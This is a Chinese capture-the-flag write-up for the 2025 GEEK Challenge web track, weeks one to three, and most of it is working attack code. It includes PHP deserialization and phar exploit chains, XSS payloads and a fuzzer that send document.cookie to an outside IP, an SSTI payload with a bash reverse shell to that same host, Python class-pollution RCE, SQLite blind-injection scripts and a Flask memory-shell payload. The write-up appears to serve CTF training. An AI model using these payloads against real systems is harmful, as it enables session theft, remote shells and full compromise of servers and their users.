2025_GEEK_Challenge

week1

阿基里斯追乌龟

前端签到题,b64 转一下就行。

image-20251026110817027

one_last_image

文件上传,直接短标签绕过。

1
<?=`env`;?>

虽然 php 文件不能保存,但是在返回值中有路径,访问即可 RCE。

popself

一个类的 php 反序列化,链子:

1
destruct - > set -> _call -> _tostring - > invoke

这里需要一个其他类 的 静态方法调用:

1
summer::find_myself

还需要绕过一个 md5:

碰撞脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import hashlib
import random
import string
import time
from multiprocessing import Pool, cpu_count
import os


def is_md5_0e_numeric(hash_str):
return len(hash_str) == 32 and hash_str.startswith('0e') and hash_str[2:].isdigit()


def worker(args):
"""工作进程函数"""
batch_size = args
charset = string.ascii_letters + string.digits

for _ in range(batch_size):
length = random.randint(8, 15)
x = ''.join(random.choices(charset, k=length))

first_md5 = hashlib.md5(x.encode()).hexdigest()
second_md5 = hashlib.md5(first_md5.encode()).hexdigest()

if is_md5_0e_numeric(second_md5):
return (x, first_md5, second_md5)

return None


def find_md5md5_0e_parallel():
"""多进程碰撞"""
print("开始多进程碰撞 md5(md5(x)) 为 0e+数字...")
print(f"使用 {cpu_count()} 个进程")

start_time = time.time()
found = 0
results = []

with Pool(cpu_count()) as pool:
while found < 3:
# 每个进程处理10000个尝试
batch_results = pool.map(worker, [10000] * cpu_count())

for result in batch_results:
if result and found < 3:
found += 1
results.append(result)
elapsed = time.time() - start_time
print(f"\n找到第 {found} 个:")
print(f"x = '{result[0]}'")
print(f"md5(x) = {result[1]}")
print(f"md5(md5(x)) = {result[2]}")
print(f"耗时: {elapsed:.2f} 秒")

print(f"\n碰撞完成!总共耗时: {time.time() - start_time:.2f} 秒")
return results


if __name__ == "__main__":
find_md5md5_0e_parallel()

image-20251026105624587

还有一个科学计数法,其他没了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
}
class summer {
public static function find_myself(){
return "summer";
}
}

$a1 = new All_in_one();
$a2 = new All_in_one();
$a3 = new All_in_one();
$a4 = new All_in_one();
$a5 = new All_in_one();

//$a1 -> KiraKiraAyu = "ytl8J61NmcUGzwq";
//$a1 -> K4per = "byGcY";
//$a1 -> QYQS = $a2;
//
//$a2 -> Fox = "summer::find_myself";
//$a2 -> komiko = $a3;
//$a2 -> L = "1e9";
//$a2 -> sleep3r = $a4;
//
//
//$a4->_4ak5ra = $a5;
//
//
//
//$a5 -> Samsāra = "system";
//$a5 -> ivory = "whoami";



$a5 -> Samsāra = "system";
$a5 -> ivory = "env";
$a4->_4ak5ra = $a5;

$a2 -> Fox = "summer::find_myself";
$a2 -> komiko = $a3;
$a2 -> L = "1e9";
$a2 -> sleep3r = $a4;

$a1 -> KiraKiraAyu = "ytl8J61NmcUGzwq";
$a1 -> K4per = "byGcY";
$a1 -> QYQS = $a2;

echo serialize($a1);

Xross The Finish Line

XSS题。多次 fuzz ,结合 ai 给出方案。用 服务器接收。

image-20251026105756678

payload:

1
<body/onload=window.open&#40;&#39;http://123.57.107.33:1337/&#39;&#43;document.cookie&#41;>

最后一次 fuzz 给payload 的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
import requests
import time
import urllib.parse


def fuzz_cookie_keywords():
url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"

headers = {
"Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
"Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/"
}

# 测试cookie窃取相关的关键词
cookie_keywords = [
"document.cookie", "document['cookie']", "document[\"cookie\"]",
"cookie", "document", "window", "open", "fetch", "XMLHttpRequest",
"Image", "src", "location", "href", "sendBeacon", "import",
"123.57.107.33", "http", "1337", ":", "//", "?", "=", "&",
"window.open", "new Image", "navigator", "beacon",
"createElement", "appendChild", "submit", "form",
"String.fromCharCode", "eval", "setTimeout", "setInterval"
]

print("Fuzzing cookie窃取关键词...")
print("=" * 50)

blocked_keywords = []
allowed_keywords = []

for keyword in cookie_keywords:
# 使用已知可用的payload模板来测试每个关键词
test_payload = f"<body/onload=alert({keyword})>"
test_data = f"content={urllib.parse.quote(test_payload)}"

try:
response = requests.post(
url,
headers=headers,
data=test_data,
timeout=5
)

response_text = response.text.strip()

if response_text == "非法内容":
print(f"❌ 被过滤: {keyword}")
blocked_keywords.append(keyword)
else:
print(f"✅ 可通过: {keyword}")
allowed_keywords.append(keyword)

except Exception as e:
print(f"⚠️ 请求失败: {e}")

time.sleep(0.3)

return blocked_keywords, allowed_keywords


def generate_encoded_payloads():
"""生成各种编码的payload"""
vps_url = "http://123.57.107.33:1337/"

encoded_payloads = []

# 基础payload模板
base_templates = [
"<body/onload=ALERT>",
"<svg/onload=ALERT>",
"<body/**/onload=ALERT>",
"<body%0aonload=ALERT>"
]

# 各种编码方式的cookie窃取代码
steal_methods = [
# HTML实体编码
("HTML实体", "window.open&#40;&#39;http://123.57.107.33:1337/&#39;&#43;document.cookie&#41;"),
("HTML实体部分", "window.open('http://123.57.107.33:1337/'&#43;document.cookie)"),

# Unicode编码
("Unicode",
"\\u0077\\u0069\\u006e\\u0064\\u006f\\u0077\\u002e\\u006f\\u0070\\u0065\\u006e\\u0028\\u0027\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f\\u0031\\u0032\\u0033\\u002e\\u0035\\u0037\\u002e\\u0031\\u0030\\u0037\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u002f\\u0027\\u002b\\u0064\\u006f\\u0063\\u0075\\u006d\\u0065\\u006e\\u0074\\u002e\\u0063\\u006f\\u006f\\u006b\\u0069\\u0065\\u0029"),

# String.fromCharCode
("String编码",
"eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,50,51,46,53,55,46,49,48,55,46,51,51,58,49,51,51,55,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))"),

# 简写和混淆
("简写", "top['open']('http://123.57.107.33:1337/'+top['document']['cookie'])"),
("this", "this['open']('http://123.57.107.33:1337/'+this['document']['cookie'])"),

# 不使用document.cookie
("location", "location='http://123.57.107.33:1337/?'+document.cookie"),
("简单Image", "i=Image;i.src='http://123.57.107.33:1337/'+document.cookie"),

# 分步执行
("分步", "a=document.cookie;b=window.open;b('http://123.57.107.33:1337/'+a)"),

# 使用其他属性
("defaultView", "document.defaultView.open('http://123.57.107.33:1337/'+document.cookie)"),
]

for template in base_templates:
for method_name, code in steal_methods:
payload = template.replace("ALERT", code)
encoded_payloads.append((f"{template.split('/')[0]} + {method_name}", payload))

return encoded_payloads


def test_alternative_approaches():
"""测试替代方法"""
url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"

headers = {
"Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
"Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/"
}

alternative_payloads = [
# 方法1: 使用setTimeout延迟执行
("setTimeout", "<body/onload=setTimeout('window.open(\"http://123.57.107.33:1337/\"+document.cookie)',100)>"),

# 方法2: 使用函数构造
("函数构造", "<body/onload=(function(){window.open('http://123.57.107.33:1337/'+document.cookie)})()>"),

# 方法3: 使用赋值表达式
("赋值表达式", "<body/onload=x=document.cookie,y=window.open,y('http://123.57.107.33:1337/'+x)>"),

# 方法4: 使用with语句
("with语句", "<body/onload=with(document)with(defaultView)open('http://123.57.107.33:1337/'+cookie)>"),

# 方法5: 使用call/apply
("call", "<body/onload=window.open.call(window,'http://123.57.107.33:1337/'+document.cookie)>"),

# 方法6: 使用其他全局对象
("self", "<body/onload=self.open('http://123.57.107.33:1337/'+self.document.cookie)>"),
("globalThis", "<body/onload=globalThis.open('http://123.57.107.33:1337/'+globalThis.document.cookie)>"),

# 方法7: 使用atob解码base64
("base64", "<body/onload=window.open(atob('aHR0cDovLzEyMy41Ny4xMDcuMzM6MTMzNy8=')+document.cookie)>"),

# 方法8: 使用域名转换
("IP十进制", "<body/onload=window.open('http://2070377761/'+document.cookie)>"), # 123.57.107.33的十进制表示

# 方法9: 使用本地存储先保存
("localStorage",
"<body/onload=localStorage.setItem('c',document.cookie),window.open('http://123.57.107.33:1337/?c='+localStorage.getItem('c'))>"),
]

working_payloads = []

print("\n测试替代方法...")
print("=" * 50)

for method, payload in alternative_payloads:
test_data = f"content={urllib.parse.quote(payload)}"

try:
response = requests.post(
url,
headers=headers,
data=test_data,
timeout=5
)

response_text = response.text.strip()

if response_text != "非法内容":
print(f"✅ {method}: 可通过")
print(f" Payload: {payload}")
working_payloads.append((method, payload))
else:
print(f"❌ {method}: 被拦截")

except Exception as e:
print(f"⚠️ {method}: 请求失败 - {e}")

time.sleep(0.3)

return working_payloads


if __name__ == "__main__":
# 第一步:fuzz具体哪些关键词被过滤
blocked, allowed = fuzz_cookie_keywords()

print(f"\n被过滤的关键词: {blocked}")
print(f"可通过的关键词: {allowed}")

# 第二步:测试编码payload
encoded_payloads = generate_encoded_payloads()
print(f"\n生成 {len(encoded_payloads)} 个编码payload进行测试...")

working_encoded = []
for method, payload in encoded_payloads:
test_data = f"content={urllib.parse.quote(payload)}"

try:
response = requests.post(
"http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post",
headers={
"Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
"Content-Type": "application/x-www-form-urlencoded"
},
data=test_data,
timeout=5
)

if response.text.strip() != "非法内容":
print(f"✅ 编码通过: {method}")
working_encoded.append((method, payload))
else:
print(f"❌ 编码被拦截: {method}")

except Exception as e:
print(f"⚠️ 编码请求失败: {e}")

time.sleep(0.3)

# 第三步:测试替代方法
working_alternatives = test_alternative_approaches()

# 汇总结果
all_working = working_encoded + working_alternatives

if all_working:
print(f"\n🎉 找到 {len(all_working)} 个可用的Cookie窃取payload!")
for method, payload in all_working:
print(f"\n方法: {method}")
print(f"Payload: {payload}")
print(f"URL编码: {urllib.parse.quote(payload)}")
else:
print("\n😞 所有方法都被拦截")
print("\n建议:")
print("1. 尝试使用其他VPS地址或端口")
print("2. 检查是否有其他过滤规则")
print("3. 考虑使用XSS平台接收cookie")

Expression

jwt 伪造题,fuzz 出密钥是 secret,然后改 username 进去。

猜测可能是 SSTI,给一个 payload 直接打,RCE了,flag 在环境变量中。

1
2
3
4
5
6
{
"email": "admin@qq.com",
"username": "<%- global.process.mainModule.require('child_process').spawnSync('env').stdout.toString() %>",
"iat": 1761377413,
"exp": 1761982213
}

image-20251026105931777

image-20251026105926006

Vibe SEO

dirsearch 扫目录得到 入口文件 /sitemap.xml

进去之后发现一个 php 文件,可以做 11 长度以内的文件读取。

先读一下自己,读到下面:

1
2
3
4
5
6
7
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

本地测试 php://fd/3 可以通,但是上机不通,可能是禁了 php 伪协议。

换个思路,打 /dev/fd/xx,这里用 bp 爆一下,得到 flag。

image-20251026110149090

image-20251026110153269

week2

Sequal No Uta

布尔盲注。

注意注意,题目中给提示了,这题是 sqlite,不是MySQL。

过滤空格用注释绕过,其他正常盲注即可。

查表名字段名exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests
import string

class SQLiteBlindInjection:
def __init__(self, url):
self.url = url
self.charset = string.ascii_letters + string.digits + "_-"

def test_condition(self, condition):
"""测试布尔条件"""
payload = f"-1'/**/OR/**/({condition})--+"
response = requests.get(self.url, params={'name': payload})
return "该用户存在且活跃" in response.text

def blind_injection(self, query):
"""盲注获取字符串"""
result = ""

# 获取长度
for i in range(1, 50):
if self.test_condition(f"length(({query}))={i}"):
length = i
break
else:
return ""

print(f"长度: {length}")

# 获取内容
for position in range(1, length + 1):
for char in self.charset:
if self.test_condition(f"substr(({query}),{position},1)='{char}'"):
result += char
print(f"位置 {position}: '{char}' | 当前: {result}")
break
else:
break

return result

def get_tables(self):
"""获取所有表名"""
print("正在爆表名...")
tables = []

# 获取表数量
for i in range(1, 20):
if self.test_condition(f"(SELECT/**/COUNT(*)/**/FROM/**/sqlite_master/**/WHERE/**/type='table')={i}"):
table_count = i
break
else:
return []

print(f"表数量: {table_count}")

# 获取每个表名
for i in range(table_count):
table_query = f"SELECT/**/name/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/LIMIT/**/1/**/OFFSET/**/{i}"
table_name = self.blind_injection(table_query)
if table_name and not table_name.startswith('sqlite_'):
tables.append(table_name)
print(f"找到表: {table_name}")

return tables

def get_columns(self, table_name):
"""获取表的所有字段名 - 使用PRAGMA table_info"""
print(f"正在爆表 {table_name} 的字段名...")
columns = []

# 获取字段数量
for i in range(1, 20):
if self.test_condition(f"(SELECT/**/COUNT(*)/**/FROM/**/PRAGMA_TABLE_INFO('{table_name}'))={i}"):
column_count = i
break
else:
return []

print(f"字段数量: {column_count}")

# 获取每个字段名
for i in range(column_count):
# PRAGMA table_info返回name字段是字段名
column_query = f"SELECT/**/name/**/FROM/**/PRAGMA_TABLE_INFO('{table_name}')/**/LIMIT/**/1/**/OFFSET/**/{i}"
column_name = self.blind_injection(column_query)
if column_name:
columns.append(column_name)
print(f"找到字段: {column_name}")

return columns

def main():
url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"
injector = SQLiteBlindInjection(url)

# 爆表名
tables = injector.get_tables()
print(f"\n所有表名: {tables}")

# 爆每个表的字段
for table in tables:
columns = injector.get_columns(table)
print(f"\n表 {table} 的字段: {columns}")

if __name__ == "__main__":
main()

爆破flag exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed


class BooleanBlindInjection:
def __init__(self, url):
self.url = url
self.charset = string.ascii_letters + "{}"
self.secret = ""
self.lock = threading.Lock()
self.found_chars = {} # 存储每个位置找到的字符
self.max_position = 50

def test_char(self, position, char):
"""测试特定位置的特定字符"""
payload = f"-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),{position},1)='{char}'--+"

try:
response = requests.get(self.url, params={'name': payload}, timeout=5)

if "该用户存在且活跃" in response.text:
with self.lock:
self.found_chars[position] = char
print(f"✓ 位置 {position}: 找到字符 '{char}'")
return True
except Exception as e:
print(f"✗ 位置 {position} 字符 '{char}' 请求失败: {e}")

return False

def check_position(self, position):
"""检查单个位置的所有字符"""
print(f"开始检查位置 {position}...")

with ThreadPoolExecutor(max_workers=10) as executor:
# 为每个字符创建任务
futures = {
executor.submit(self.test_char, position, char): char
for char in self.charset
}

# 等待第一个成功的结果
for future in as_completed(futures):
if future.result():
# 找到字符,取消其他任务
executor.shutdown(wait=False)
return

# 如果没有找到字符
with self.lock:
if position not in self.found_chars:
self.found_chars[position] = None
print(f"✗ 位置 {position}: 没有找到字符")

def multi_thread_injection(self):
"""多线程主函数"""
print("开始多线程布尔盲注...")
print(f"字符集: {self.charset}")
print(f"线程数: 每个位置10个线程")

position = 1

while position <= self.max_position:
# 检查当前位置
self.check_position(position)

# 如果这个位置没有找到字符,结束注入
if position in self.found_chars and self.found_chars[position] is None:
break

position += 1

# 构建最终结果
self.build_result()
return self.secret

def build_result(self):
"""构建最终结果字符串"""
result_chars = []
for pos in sorted(self.found_chars.keys()):
if self.found_chars[pos] is not None:
result_chars.append(self.found_chars[pos])

self.secret = ''.join(result_chars)

def fast_multi_thread_injection(self):
"""更快的版本:同时检查多个位置"""
print("开始快速多线程布尔盲注...")
print(f"字符集: {self.charset}")

def check_multiple_positions(start_pos, end_pos):
"""检查多个位置"""
for pos in range(start_pos, end_pos + 1):
if pos > self.max_position:
break
self.check_position(pos)

# 使用线程池同时检查多个位置
with ThreadPoolExecutor(max_workers=5) as executor:
# 将位置分成5组同时检查
positions_per_thread = 5
futures = []

for i in range(0, self.max_position, positions_per_thread):
start = i + 1
end = min(i + positions_per_thread, self.max_position)
future = executor.submit(check_multiple_positions, start, end)
futures.append(future)

# 等待所有任务完成
for future in as_completed(futures):
future.result()

# 构建最终结果
self.build_result()
return self.secret

def get_current_progress(self):
"""获取当前进度"""
found_positions = [pos for pos in self.found_chars if self.found_chars[pos] is not None]
if not found_positions:
return "进度: 0%"

max_found = max(found_positions)
progress = (max_found / self.max_position) * 100
current_secret = ''.join([self.found_chars[pos] for pos in sorted(found_positions)])

return f"进度: {progress:.1f}% | 当前结果: {current_secret}"


def test_connection():
"""测试连接"""
url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"

true_payload = "-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),1,1)='S'--+"
false_payload = "-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),1,1)='X'--+"

print("测试连接和响应模式...")

try:
# 测试True响应
true_response = requests.get(url, params={'name': true_payload}, timeout=5)
true_success = "该用户存在且活跃" in true_response.text

# 测试False响应
false_response = requests.get(url, params={'name': false_payload}, timeout=5)
false_success = "该用户存在且活跃" in false_response.text

print(f"True条件响应: {true_success}")
print(f"False条件响应: {false_success}")

if true_success and not false_success:
print("✓ 连接测试成功,响应模式正确")
return True
else:
print("✗ 响应模式异常,请检查payload")
return False

except Exception as e:
print(f"✗ 连接测试失败: {e}")
return False


if __name__ == "__main__":
url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"

if test_connection():
print("\n" + "=" * 50)

# 创建注入实例
injector = BooleanBlindInjection(url)

# 选择注入模式
print("选择注入模式:")
print("1. 标准多线程 (推荐)")
print("2. 快速多线程 (更激进)")

choice = input("请输入选择 (1 或 2): ").strip()

if choice == "2":
print("\n开始快速多线程注入...")
result = injector.fast_multi_thread_injection()
else:
print("\n开始标准多线程注入...")
result = injector.multi_thread_injection()

print(f"\n🎉 注入完成!")
print(f"最终结果: {result}")

else:
print("连接测试失败,请检查URL或网络连接")

image-20251102151205719

ez_read

/proc/self/cwd/app.py,有长度限制 + blacklist 的 SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level=logging.INFO)

# waf =
def waf(s: str):
blacklist = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
return all(word not in s for word in blacklist)


if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls /;")
# config_payload = config_payload(waf)

# print(f"{shell_payload=}")

cmdpayload = """bash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1";"""
shell_payload = shell_payload.replace("ls /;", cmdpayload)
#
lenqwq = 514-len(shell_payload)-1
shell_payload = shell_payload.replace(cmdpayload, cmdpayload + "a" * lenqwq+";")

print(shell_payload)
# print(f"{config_payload=}")

最后还有一个 env 提权。

image-20251102125820843

百年继承

python 原型链污染

继承关系题目中都说了,直接打:

1
2
3
4
5
6
7
8
9
{
"__class__": {
"__base__": {
"__base__": {
"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __import__('os').popen('env').read())"
}
}
}
}

三元组最后一个项目才有回显,把他放到最后面。

image-20251102125831250

ez-seralize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

uploads.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

恶意 phar。

链子:

1
B.wakeup => A.toString => B.invoke => C.rce_me

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
$b1 = new B();
$a1 = new A();
$b2 = new B();
$c1 = new C();

//$b1->test=$a1;
//$a1->luo = $b2;
//$b2->a = $c1;

$b2->a = $c1;
$a1->luo = $b2;
$b1->test=$a1;


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a1);
$phar->addFromString("exp.txt","exp");//生成签名的参数可以随便填
$phar->stopBuffering();

image-20251102153618252

注意一下代码逻辑,如果需要引用反序列化那个包需要 serialized 参数有值。

1
http://019a4374-6c27-7c35-8807-b04cefdf1ba0.geek.ctfplus.cn/?filename=phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fuploads%2F1762069432_phar2.png&serialized=1

image-20251102154659101

image-20251102154620578

eeeeezzzzzzZip

include + phar + gzip => RCE,纯纯板子题啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
phpinfo();
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
1
gzip exploit.phar

image-20251102125837664

week3

路在脚下 & 路在脚下 revenge

带 WAF 的内存马,利用自动化工具 fenjing。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import functools
import time
import requests
import fenjing

# 这个内存马会获取GET参数cmd并执行,然后在header Aaa中返回

payload = """[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for zzz in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/zzz", endpoint="zzz", view_func=zzz) ] ]"""

# payload ="""{{"".__class__.__base__.__subclasses__()[''].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())")}}"""

URL = "http://019a6149-9bcf-7149-9eeb-c5af5fc68f48.geek.ctfplus.cn/"



@functools.lru_cache(10000)
def waf(payload): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.get(URL, timeout=10, params={"name": payload})
s = resp.text
print(s)
